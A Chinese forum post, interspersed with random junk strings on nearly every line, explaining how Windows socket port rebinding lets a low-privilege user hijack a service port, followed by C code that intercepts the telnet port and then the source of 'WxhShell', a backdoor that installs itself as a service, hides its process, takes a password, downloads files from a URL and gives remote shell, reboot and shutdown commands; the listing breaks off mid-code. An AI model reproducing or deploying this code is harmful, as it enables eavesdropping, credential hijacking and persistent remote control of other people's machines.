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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: YG p+[|'  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :{lwz#9V  
ZCiCZ)oc  
  saddr.sin_family = AF_INET; MmuT~d/  
).k DY ?s  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); vvoxK0  
-yYdj1y;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 'rQ"Dc1D  
nwRltK  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]Bw0Qq F#  
okNo- \Dh!  
  这意味着什么?意味着可以进行如下的攻击: [6/ QUD8  
I[ \~ pi,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #YUaM<O  
7nZPh3%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) eL!41_QI  
jG5HW*>k0  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 39pG-otJ  
cTqkM@S  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  GK(CuwJe  
RaZ>.5 D  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 H=t"qEp  
YIU3}sJ!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 nQ%HtXt;  
q}1ZuK`6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 r-2k<#^r  
x-^6U  
  #include 8xpplo8  
  #include G=dzP}B'WA  
  #include )8Va%{j  
  #include    azcPeAe  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *Ak.KBg  
  int main() }\pI`;*O|  
  { ON?Y Df  
  WORD wVersionRequested; hbjAxioA  
  DWORD ret; N^^0j,  
  WSADATA wsaData; 95DEuReKi  
  BOOL val; (!j#u)O  
  SOCKADDR_IN saddr; _n&Nw7d2 M  
  SOCKADDR_IN scaddr; `i7r]  
  int err; {Gxe%gu6K  
  SOCKET s; p!.~hw9  
  SOCKET sc; y(A' *G9  
  int caddsize; g7oY1;  
  HANDLE mt; lame/B&nc  
  DWORD tid;   Z$oy;j99y  
  wVersionRequested = MAKEWORD( 2, 2 ); [ oWkd_dK  
  err = WSAStartup( wVersionRequested, &wsaData ); 0.aXg"  
  if ( err != 0 ) { >1y6DC  
  printf("error!WSAStartup failed!\n"); 0X$mT:=9  
  return -1; h}b:-a  
  } QFh1sb)]d)  
  saddr.sin_family = AF_INET; UHBXq;?&q  
   c]=2>ov)hR  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %36x'Dn ?  
^l &lwSRVt  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Sb.8d]DW  
  saddr.sin_port = htons(23); Bx\&7|,x  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5/H,UL  
  { $KHm5*;nd  
  printf("error!socket failed!\n"); xn8K OwX%  
  return -1; M  .#}  
  } ~zp8%lEe  
  val = TRUE; 3;nOm =I  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Z%T Ajm  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) XTol|a=  
  { Uqr>8|t?  
  printf("error!setsockopt failed!\n"); Vns3859$8  
  return -1; RNIXQns-=S  
  } VK}4 <u  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <}a?<):S  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "W<Y1$Y=Y  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 MDMd$] CW  
x`CjFaE~F  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) tRjv  -  
  { P8 X07IK  
  ret=GetLastError(); ,GbmL8P7Y  
  printf("error!bind failed!\n"); !\4x{Wa]  
  return -1; Mk! Fy]3  
  } .?>Cav9:  
  listen(s,2); OvfluFu7  
  while(1) -Cf)`/  
  { f}otIf  
  caddsize = sizeof(scaddr); ~uQ*u.wi  
  //接受连接请求 (f/(q-7VWt  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "k zKQ~  
  if(sc!=INVALID_SOCKET) 6j E.X  
  { [-~pDkf:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); IUMv{2C  
  if(mt==NULL) <'Q6\R}:vC  
  { rxCzPF  
  printf("Thread Creat Failed!\n"); TG2#$Bq1  
  break; 2a d|v]  
  } 0Tj,TF  
  } /ViY:-8s  
  CloseHandle(mt); -FeXG#{)  
  } "ubp`7%67  
  closesocket(s); ;QI9OcE@/  
  WSACleanup(); \C~X_/sg  
  return 0; %ms%0%  
  }   84ij4ZYe  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;hj lRQ\  
  { Kda'N$|`  
  SOCKET ss = (SOCKET)lpParam; T"wg/mT  
  SOCKET sc; $5nMD=   
  unsigned char buf[4096]; 2>z YJqG|  
  SOCKADDR_IN saddr; Z |$#  
  long num; /9vi  
  DWORD val; Q%e<0t7  
  DWORD ret; J[/WBVFDf  
  //如果是隐藏端口应用的话,可以在此处加一些判断 bWSN]]e1#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   YQ0#j'}/  
  saddr.sin_family = AF_INET; {C |R@S  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); c *KE3:  
  saddr.sin_port = htons(23); >Kgw2,y+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vCa8`m  
  { /wD f,Hduz  
  printf("error!socket failed!\n"); `_/bg(E  
  return -1; :s aP :&  
  } 3,PR6a,b'  
  val = 100; +n^M+ea;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2|pTw5z~  
  { Xv1vq -cM  
  ret = GetLastError(); xGs}hVlZiC  
  return -1; &V4Zm n?UU  
  } fCt|8,-H  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ft5A(P >  
  { +\!.X _Ij  
  ret = GetLastError(); b6k`R4S3  
  return -1; b.*LmSX#  
  } v9(5H Y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) jY6GWsh:9  
  { Pps$=`  
  printf("error!socket connect failed!\n"); pBtO1x6x/  
  closesocket(sc); uq5?t  
  closesocket(ss); gt{kjrTv&  
  return -1; d4o ^+\  
  } U]hqRL  
  while(1) ~J\qkQ  
  { kn3w6]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 N+&uR!:.C  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Jr!^9i2j'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 M9)4ihK  
  num = recv(ss,buf,4096,0); ^ `LqNG  
  if(num>0) St5;X&Q  
  send(sc,buf,num,0); @CNJpQ ujn  
  else if(num==0) )KZMRAT-  
  break; Q4XlYgIV2A  
  num = recv(sc,buf,4096,0); yD"]:ts3  
  if(num>0) =.`\V]  
  send(ss,buf,num,0); Pe`mZCd^  
  else if(num==0) ni;)6,i  
  break; @$ 7 GrT  
  } rHKO13WF  
  closesocket(ss); zPnb_[YF  
  closesocket(sc); SkuR~!  
  return 0 ; FJn-cR.n  
  } ?]><#[?'L  
suEK;Bk9  
,Zmjw@ w  
========================================================== h$5[04.Q  
n/ KO{:  
下边附上一个代码,,WXhSHELL $;5Q mKQ'  
|r~u7U\  
========================================================== ]:e_Y,@  
Kq[4I[+R  
#include "stdafx.h" L:HvrB~  
q>_<\|?%x  
#include <stdio.h> m%0 -3c(  
#include <string.h> : UeK0  
#include <windows.h> SKC;@?  
#include <winsock2.h> [IAUJ09>I  
#include <winsvc.h> ?R]`M_^&u!  
#include <urlmon.h> ,rMDGZm?  
6Vnq|;W3Zv  
#pragma comment (lib, "Ws2_32.lib") *2 Pr1U  
#pragma comment (lib, "urlmon.lib") 4jXo5SkEJ  
 VAiJL  
#define MAX_USER   100 // 最大客户端连接数 qyM/p.mP  
#define BUF_SOCK   200 // sock buffer +/[M Ex=   
#define KEY_BUFF   255 // 输入 buffer =~ Uhr6Q  
M50I.Rd  
#define REBOOT     0   // 重启 z}E_ wg  
#define SHUTDOWN   1   // 关机 X['9;1Xr  
NQ`D"n  
#define DEF_PORT   5000 // 监听端口 +W4}&S  
ko9}?qs  
#define REG_LEN     16   // 注册表键长度 k[@P526  
#define SVC_LEN     80   // NT服务名长度 T-N>w;P  
JP4DV=}L  
// 从dll定义API 2.3_FXSt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K/W=r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z:9Q~}x8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uzdPA'u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <>6j>w_|  
*73gp  
// wxhshell配置信息 n#+EG3  
struct WSCFG { xFF!)k #  
  int ws_port;         // 监听端口 Cu7{>"  
  char ws_passstr[REG_LEN]; // 口令 c`<2&ke  
  int ws_autoins;       // 安装标记, 1=yes 0=no *I 1H  
  char ws_regname[REG_LEN]; // 注册表键名 dJR[9T_OF  
  char ws_svcname[REG_LEN]; // 服务名 {<yapBMw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ) lUS'I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -+"#G?g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  uo`R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e(7#>O%1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ! VR&HEru  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [Vs\r&qL  
"'CvB0>   
}; :u4|6?  
@bg9 }Z%\h  
// default Wxhshell configuration DZ|*hQU>K  
struct WSCFG wscfg={DEF_PORT, t9`{^<LH  
    "xuhuanlingzhe", g`pq*D  
    1, gBqDx|G  
    "Wxhshell", S"!6]!~^  
    "Wxhshell", ( eKgc  
            "WxhShell Service", =2&\<Q_Fi  
    "Wrsky Windows CmdShell Service", ;g0s1nz  
    "Please Input Your Password: ", ,1ev2T  
  1, t2,II\K l  
  "http://www.wrsky.com/wxhshell.exe", 4o#]hB';ni  
  "Wxhshell.exe" [S'1OR$FQ\  
    }; ZO/e!yju  
>SXSrXyYX  
// 消息定义模块 8C{&i5kj\E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7$<pdayd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; JwMRquQv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IRbyW?/Xv  
char *msg_ws_ext="\n\rExit."; ]0D-g2!|A  
char *msg_ws_end="\n\rQuit."; =n,;S W  
char *msg_ws_boot="\n\rReboot..."; eJoM4v  
char *msg_ws_poff="\n\rShutdown..."; (m3hD)!+y  
char *msg_ws_down="\n\rSave to "; v\@qMaPY  
WRZpu95v  
char *msg_ws_err="\n\rErr!"; 9p8ajlYg,  
char *msg_ws_ok="\n\rOK!"; "5N4 of 8  
[WDzaRzd  
char ExeFile[MAX_PATH]; c~U0&V_`j  
int nUser = 0; w>2lG3H<  
HANDLE handles[MAX_USER]; "-f]d~P>  
int OsIsNt; |*?N#0s5h  
2BC!,e$Z  
SERVICE_STATUS       serviceStatus; &6\&McmkX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2mEqfy  
I<QUvs%e  
// 函数声明 JA4Zg*7I  
int Install(void); 0se%|Z|8  
int Uninstall(void); _YX% M|#  
int DownloadFile(char *sURL, SOCKET wsh); r $S9/  
int Boot(int flag); 1 fcV&qHR  
void HideProc(void); <lB2Nv-,  
int GetOsVer(void); | va@&;#wf  
int Wxhshell(SOCKET wsl); 4PVg?  
void TalkWithClient(void *cs); 8 o}5QOW  
int CmdShell(SOCKET sock); "22./vWV|i  
int StartFromService(void); `)a|Q  
int StartWxhshell(LPSTR lpCmdLine); XI`_PQco  
mywx V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9,fV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1le9YL1_g  
2M+RA}dX  
// 数据结构和表定义 ++~ G\T9H  
SERVICE_TABLE_ENTRY DispatchTable[] = 0c>>:w20D  
{ Lx- %y'P  
{wscfg.ws_svcname, NTServiceMain}, 4AhF E@  
{NULL, NULL} oRd{?I&NY  
}; J.rS@Z`~7  
!&OdbRHM  
// 自我安装 iY>x x~V  
int Install(void) ]/ !*^;cY(  
{ xLIyh7$t  
  char svExeFile[MAX_PATH]; pW ~;B*hF  
  HKEY key; 6No.2Oo  
  strcpy(svExeFile,ExeFile); 3R/6/+S-  
;s3@(OnjZ  
// 如果是win9x系统,修改注册表设为自启动 @d Qr^'h  
if(!OsIsNt) { PE7V1U#$o,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hak#Iz0[C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K/(LF}  
  RegCloseKey(key); 6iQqOAG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4`~OxL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "Io-%S u+  
  RegCloseKey(key); /,7#%D  
  return 0; ip'v<%,Q3"  
    } ])pX)(a  
  } e77s?WxbK  
} 6Hc25NuQZ  
else { fx 08>r   
F4(;O7j9  
// 如果是NT以上系统,安装为系统服务 VII`qbxT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CWs;1`aP  
if (schSCManager!=0) Nt+UL/1]  
{ W(ZEqH2  
  SC_HANDLE schService = CreateService J'cE@(US  
  ( @W+8z#xr'  
  schSCManager, 21$^k5  
  wscfg.ws_svcname, KI<x`b  
  wscfg.ws_svcdisp, f`8fNt  
  SERVICE_ALL_ACCESS, z=k*D^X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZbH6$2r  
  SERVICE_AUTO_START, D622:Y886  
  SERVICE_ERROR_NORMAL, Zo-Au  
  svExeFile, zh !/24p9  
  NULL, JmF`5  
  NULL, J!rZs kd  
  NULL, -'W:P'BG  
  NULL, 7({.kD6  
  NULL $o\U q  
  ); ^<yM0'0t  
  if (schService!=0) P\c0Q;){h"  
  { !/&~Feb  
  CloseServiceHandle(schService); tORDtMM9+  
  CloseServiceHandle(schSCManager); GmGq69]J*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h\-jqaq  
  strcat(svExeFile,wscfg.ws_svcname); 0g#?'sD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QqY42hR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /7*qa G  
  RegCloseKey(key); [0+5 Gx  
  return 0; h^9Ne/s~  
    } 8/34{2048  
  } nDC5/xB  
  CloseServiceHandle(schSCManager); qmnCa&C9  
} gvZLW!={  
} qfY=!|O  
,@gDY9Q3r/  
return 1; .>zkS*oX4z  
} 4ri)%dl1  
9]8M {L  
// 自我卸载 N~arxe (K  
int Uninstall(void) ,KibP_<%&P  
{ ,TO&KO1;&  
  HKEY key; \;tKss!|  
qpc2;3*7  
if(!OsIsNt) { OaxE3bDT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tX *L_  
  RegDeleteValue(key,wscfg.ws_regname); CtDS lJ  
  RegCloseKey(key); Q^V`%+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dR /UXzrc  
  RegDeleteValue(key,wscfg.ws_regname); w_J`29uc  
  RegCloseKey(key); >BQF<  
  return 0; 4sK|l|W  
  } TA Yt:  
} DPtyCgH  
} 'E8dkVlI  
else { s?K4::@Fv  
.Lu=16  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5p{tt;9[  
if (schSCManager!=0) s: q15"  
{ $t </{]iX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qXW2a'~  
  if (schService!=0) 2|w.A!  
  { N<Q}4%^c  
  if(DeleteService(schService)!=0) { 4_I,wG@  
  CloseServiceHandle(schService); &(^>}&XS.<  
  CloseServiceHandle(schSCManager); "Lpt@g[HF  
  return 0; ZCJ8I  
  } v:T` D  
  CloseServiceHandle(schService); 8UL:C?eY  
  } .}y Lz  
  CloseServiceHandle(schSCManager); #WpO9[b>  
} A8eli=W  
} qaGIU`}:$A  
k~?}z.g(  
return 1; v <Ze$^ e&  
} )J88gMk+  
RBgkC+2  
// 从指定url下载文件 a m zw  
int DownloadFile(char *sURL, SOCKET wsh) ;09J;sf  
{ |]\bgh  
  HRESULT hr; +[ }]a3)  
char seps[]= "/"; /~tfP  
char *token; 6k3l/~R  
char *file; fAUsJ[  
char myURL[MAX_PATH]; '}YXpB  
char myFILE[MAX_PATH]; K :q-[\G  
u#UeJu O  
strcpy(myURL,sURL); et ~gO!1:*  
  token=strtok(myURL,seps); quUJ%F  
  while(token!=NULL) z=Vvb  
  { w./EJk KI  
    file=token; c`}X2u]k  
  token=strtok(NULL,seps); zXf+ieo  
  } =nL*/  
@ Q1jH~t  
GetCurrentDirectory(MAX_PATH,myFILE); jh0$:6 `C  
strcat(myFILE, "\\"); nG*6ic  
strcat(myFILE, file); ~D=@4(f8|  
  send(wsh,myFILE,strlen(myFILE),0); dO//  
send(wsh,"...",3,0); #"yf^*wX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7ER 2 h*  
  if(hr==S_OK) f}'gg  
return 0; i:8^:(i  
else Cw|SY  
return 1; DVcu*UVw  
n)7icSc  
} v_@_J!s  
6uXYZ.A  
// 系统电源模块 :d2u?+F  
int Boot(int flag) KE&}*Nf[  
{ qtH&]Suu,  
  HANDLE hToken; pz IMj_  
  TOKEN_PRIVILEGES tkp; J3.Q8f  
.M{[J]H`t  
  if(OsIsNt) { .XB] X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rlIEch^wZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); YPy))>Q>cK  
    tkp.PrivilegeCount = 1; G([vy#p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @!'H'GvA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #Fd( [Zx#.  
if(flag==REBOOT) { Xbtv}g<0c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (}}8DB  
  return 0; RZtL<2.@  
} uY~A0I5Z  
else { `k| nf9_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `s_TY%&_}g  
  return 0; QMxz@HGa|  
} a*[\edcHU  
  } e d*AU,^@v  
  else { X[~CLKH(  
if(flag==REBOOT) { ZtLn*M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?.4l1X6Ba  
  return 0; JAz;_wS(k  
} ui{_w @o  
else { M<srJ8|'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nu<!/O  
  return 0; _MEv*Q@o  
} DS2$w9!  
} JrAc]=  
@#tSx  
return 1; 9.=#4OH/  
} 8W>l(w9M  
dSZ#,Ea"  
// win9x进程隐藏模块 //@=Q!MW  
void HideProc(void) m6cW  
{ 7$=@q|$  
+3>4 ?,^g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;LE @Ezx  
  if ( hKernel != NULL ) fdG.=7`  
  { 6I#DlAU@v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $IT9@}*{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?63JQ.;  
    FreeLibrary(hKernel); uP]o39b;V  
  } rfi`Bp  
FO=1P7  
return; m_ m@>}ud  
} ;/T-rVND  
,-Nk-g  
// 获取操作系统版本 <R>ZG"m{  
int GetOsVer(void) BD-=y  
{ K:@=W1  
  OSVERSIONINFO winfo; I}IW!K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2QRn c"  
  GetVersionEx(&winfo); |=T<WU1$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q*nz4QTOE  
  return 1; Gnt!!1_8L  
  else uP2a\C,$  
  return 0; odf^W  
} ,P@-DDJ  
*$C[![   
// 客户端句柄模块  0QqzS  
int Wxhshell(SOCKET wsl) HjS^ nYl  
{ kG$8E  
  SOCKET wsh; =+S3S{\CK  
  struct sockaddr_in client; .b oizW1+  
  DWORD myID; CHit  
E57{*C  
  while(nUser<MAX_USER) 1<`7MN  
{ p\;)^O4  
  int nSize=sizeof(client); ~J{[]wi  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WUS9zK  
  if(wsh==INVALID_SOCKET) return 1; X$iJ|=vW  
Wb )l8[=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;w(1Ydo  
if(handles[nUser]==0) arKmc@"X  
  closesocket(wsh); "|*Kf#  
else jsd]7C  
  nUser++; _lv:"/3R  
  } GPLt<K!<#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); '2$!thm  
~!9Px j*  
  return 0;  r;X0 B  
} 8 {]Gh 0+  
vcO`j<`  
// 关闭 socket \N , '+  
void CloseIt(SOCKET wsh) 8Vhck-wF  
{ 2\B9o `Y  
closesocket(wsh); n(YHk\2  
nUser--; 0DVZRB  
ExitThread(0); WAXts]=  
} Wd56B+  
1 3 `0d  
// 客户端请求句柄 e)dWa'2<  
void TalkWithClient(void *cs) D8AIV K]  
{ tlLn  
)z235}P  
  SOCKET wsh=(SOCKET)cs; {a8^6dm*E  
  char pwd[SVC_LEN]; ]j2v"n  
  char cmd[KEY_BUFF]; Pph8"`mv.m  
char chr[1]; g)?g7{&?>?  
int i,j; zZ"U9!T  
)]c3bMVE-  
  while (nUser < MAX_USER) { s[2ZxCrCw  
)1nCw  
if(wscfg.ws_passstr) { #3yw   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &_/%2qs  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "=\_++  
  //ZeroMemory(pwd,KEY_BUFF); 6eYf2sZ;J  
      i=0; =l2Dm  
  while(i<SVC_LEN) { _ c ]3nzIr  
66@3$P%1p  
  // 设置超时 s7nX\:Bw:  
  fd_set FdRead; 9me}&Fdr  
  struct timeval TimeOut; 1~5q:X  
  FD_ZERO(&FdRead); H4'DL'83  
  FD_SET(wsh,&FdRead); 14n="-9  
  TimeOut.tv_sec=8; -N8cjr4l  
  TimeOut.tv_usec=0; O< tnM<"(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }i7U}T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k)usUP'  
koEX4q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UcLNMn|  
  pwd=chr[0]; VMZ]n%XRXW  
  if(chr[0]==0xd || chr[0]==0xa) { ]ZKt1@4AY  
  pwd=0; o47 f  
  break; ^Z>B/aJq  
  } }{wTlR.]  
  i++; p=_XMh`;  
    } Vx6? @R  
fH e0W  
  // 如果是非法用户,关闭 socket yOUX E>-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (ND5CKCR^  
} r3H}*Wpf  
^/C $L8#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1 73<x){  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Go\} A:|s  
Z#F,y)YiO  
while(1) { of'ZNQ/  
!q$&JZY  
  ZeroMemory(cmd,KEY_BUFF); -e{)v'C)  
oa &z/`@  
      // 自动支持客户端 telnet标准   9U=fJrj'u  
  j=0; 5Hwo)S]r  
  while(j<KEY_BUFF) { VqClM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y^!E "  
  cmd[j]=chr[0]; cF_;hD|YZ  
  if(chr[0]==0xa || chr[0]==0xd) { FS`vK`'  
  cmd[j]=0; Dpdn%8+Z  
  break; <cDKGd  
  } yD[zzEuQ  
  j++; fEj9R@u+h  
    } g>!:U6K  
2&gd"Ak(  
  // 下载文件 F8[B^alAe  
  if(strstr(cmd,"http://")) { sArje(5Eo  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); t8A kdSU0  
  if(DownloadFile(cmd,wsh)) b@wBR9s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C,{F0-D  
  else xA&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cgz&@@j,]  
  } Z\|u9DO  
  else { h eE'S/  
WjY{rM,K  
    switch(cmd[0]) { [Y22Wi  
  fwi};)K  
  // 帮助 1C0Y0{6,  
  case '?': { 3'[Rvy{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vQK n=  
    break; <o&o=Y8  
  } DIG0:)4R.  
  // 安装 Jtp>m?1Ve  
  case 'i': { [;?"R-V"z  
    if(Install()) JFG",09]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f`hyYp`d5  
    else egI{!bZg'\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,pyQP^u-  
    break; C#Hcv*D  
    } ~5r=FF6  
  // 卸载 I(OAEIz  
  case 'r': { QN_)3lm  
    if(Uninstall()) aJ :A%+1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Qzjqq:"Li  
    else y Y>-MoF/t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1 [Sv  
    break; YVB% kKv{  
    } (px*R~}  
  // 显示 wxhshell 所在路径 Sc&)~h}YF  
  case 'p': { lx{.H,1~  
    char svExeFile[MAX_PATH]; &GdL 9!hH  
    strcpy(svExeFile,"\n\r"); r]k*7PK  
      strcat(svExeFile,ExeFile); Kajkw>z  
        send(wsh,svExeFile,strlen(svExeFile),0); y)3~]h\a  
    break; 4? m/*VV  
    } 5-8]N>/b!  
  // 重启 `*e4m  
  case 'b': {  6R;)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C9<4~IM w  
    if(Boot(REBOOT)) 45x,|h[F{5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SkiJ pMN  
    else {  r=fE8[,  
    closesocket(wsh); !uWxRpT,7  
    ExitThread(0); cVQatm  
    } xi6 80'  
    break; owE<7TGPI?  
    } 29"mE;j  
  // 关机 EHpu*P~W  
  case 'd': { YXF#c)#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); = :Po%Z%{  
